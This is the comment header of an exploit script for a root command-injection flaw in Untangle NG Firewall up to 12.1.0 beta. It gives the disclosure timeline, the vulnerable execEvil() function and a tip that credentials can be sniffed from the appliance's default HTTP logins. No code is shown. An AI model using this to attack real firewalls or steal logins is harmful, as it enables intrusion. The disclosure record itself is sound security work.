# Title:       Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit
# CVE:        (Not yet assigned)
# Discovery:      Matt Bush (@3xocyte)
# Exploit:      Matt Bush
# Contact:      mbush@themissinglink.com.au

# Disclosure Timeline:
# 22/4/2016      Attempted to contact vendor after discovery of vulnerabilities
# 6/5/2016      No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)
# 12/5/2016      US-CERT confirms contacting vendor
# 16/6/2016      US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline
# 27/6/2016       Public disclosure

# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with
# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous 
# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages
# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).

# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.
